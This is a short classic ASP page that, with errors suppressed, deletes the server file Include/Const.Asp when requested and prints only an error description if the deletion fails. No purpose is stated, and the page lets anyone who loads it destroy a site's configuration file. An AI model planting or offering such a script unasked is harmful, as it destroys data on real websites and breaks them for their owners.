<%
On Error Resume Next
filepath="Include/Const.Asp" '
set fso = Server.CreateObject("Scripting.FileSystemObject")
fso.DeleteFile(Server.MapPath(filepath))
if err.Number<>0 then
Response.Write ""&err.description
else
Response.Write""
end if
Set fso = nothing 
%>